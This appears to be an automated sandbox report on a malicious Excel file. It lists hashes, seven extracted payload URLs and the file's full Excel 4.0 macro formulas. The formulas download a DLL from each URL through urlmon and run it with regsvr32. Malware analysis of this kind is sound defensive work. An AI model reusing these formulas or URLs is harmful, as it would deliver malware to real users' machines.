General
-
Target
f63856e31796bda5138f15a3268beb48c3120711618290250531b4d06a3096a9
-
Size
35KB
-
MD5
2765e4f4e851ddffb603fb5a87346a89
-
SHA1
dcf3658c19c5933da41054b859a4cd324ec14395
-
SHA256
f63856e31796bda5138f15a3268beb48c3120711618290250531b4d06a3096a9
-
SHA512
3fc3902151c55a45e54829974dc91cee68753fe08c4536e1cccda821019227ec7766c3f1323b50cc3dffd5161f47a0ca2364057c26ae6f63297c2232d7be1f21
-
SSDEEP
768:tsmn9tnd5euAjOZpqcVbZYpoRuBlIiOKMArOoooooooooooooooooooooooooofS:tFtndguUOZZ1ZYpoQ/pMA6Kt
Malware Config
Extracted
https://dlqsclub.com/wp-content/uploads/8ST56kZvvQ/
https://blog.nilbt.com/wp-includes/Text/Diff/aleM3D/
https://idolevran.com/wp-admin/nKRqye7TwOjZVjvFib/
https://hindi.muslimmirror.com/wp-includes/NfqhqWd1AfATg6PH3MV/
https://appiterra.com/wp-admin/2sv4jwSsOGh9vD10/
https://reproartivf.com/4MFHyUfpZHmD9VMxCd/A/
https://britonsolicitors.com/wp-admin/mMYswFFOmBVkkjcb3/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://dlqsclub.com/wp-content/uploads/8ST56kZvvQ/","..\xdha.ocx",0,0) =IF('EGVSBSR'!C16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://blog.nilbt.com/wp-includes/Text/Diff/aleM3D/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://idolevran.com/wp-admin/nKRqye7TwOjZVjvFib/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://hindi.muslimmirror.com/wp-includes/NfqhqWd1AfATg6PH3MV/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C22<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://appiterra.com/wp-admin/2sv4jwSsOGh9vD10/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C24<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://reproartivf.com/4MFHyUfpZHmD9VMxCd/A/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C26<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://britonsolicitors.com/wp-admin/mMYswFFOmBVkkjcb3/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C28<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\xdha.ocx") =RETURN()
Signatures
-
Suspicious Office macro 1 IoCs
Office document equipped with 4.0 macros.
Files
-
f63856e31796bda5138f15a3268beb48c3120711618290250531b4d06a3096a9